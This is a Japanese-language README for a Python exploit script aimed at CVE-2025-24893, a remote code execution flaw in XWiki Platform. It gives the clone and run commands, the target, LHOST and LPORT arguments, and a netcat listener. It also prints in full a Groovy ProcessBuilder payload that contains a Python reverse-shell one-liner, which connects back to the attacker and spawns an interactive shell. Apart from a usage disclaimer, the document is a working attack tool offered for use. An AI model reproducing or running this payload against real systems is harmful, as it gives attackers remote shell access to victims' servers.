
CVE-2025-24893 用の改変エクスプロイト
CVE-2025-24893(XWiki Platform のリモートコード実行の脆弱性)を、Groovyベースの async マクロと設定可能なリバースシェルペイロードを用いて悪用する、シンプルな Python3 スクリプトです。
⚠️ 警告: このツールは教育目的および許可されたテスト目的のみで提供されます。所有していない、または明示的なテスト許可を得ていないシステムに対する不正な使用は、違法かつ非倫理的です。
Runtime.exec の癖を避けるため、Groovy の ProcessBuilder スニペットを構築しますrequests ライブラリpip install requests
このリポジトリをクローンします:
git clone https://github.com/hackersonsteroids/cve-2025-24893.git
cd cve-2025-24893
./exploit.py <TARGET_DOMAIN> <LHOST> <LPORT>
<TARGET_DOMAIN>
XWiki ホスト(例: wiki.example.local)。
<LHOST>
攻撃者マシンの IP(リスナーが実行されている場所)。
<LPORT>
リスナーのポート(整数)。
nc -lvnp 4444
./exploit.py wiki.vulnerable.local 10.0.0.5 4444
netcat リスナーでシェルを確認します。ペイロードを送信する前に、スクリプトは次の処理を行います:
https://<TARGET_DOMAIN> を試行http://<TARGET_DOMAIN> にフォールバックこれにより、プロトコル混在のデプロイ環境との互換性が保証されます。
デフォルトでは、スクリプトは Python3 のワンライナーを使用します:
new ProcessBuilder(
['/bin/bash','-c',
'python3 -c \'import socket,subprocess,os;'
's=socket.socket();s.connect(("LHOST",LPORT));'
'os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);'
'os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])\'']
).redirectErrorStream(true).start()
build_payload() 関数を変更できます。このプロジェクトはMIT ライセンスの下でライセンスされています。詳細は LICENSE ファイルを参照してください。
このツールは許可されたセキュリティ評価および教育目的のみを対象として設計されています。著者は誤用に対していかなる責任も負いません。テスト対象のシステムをテストする前に、必ず明示的な許可を取得してください。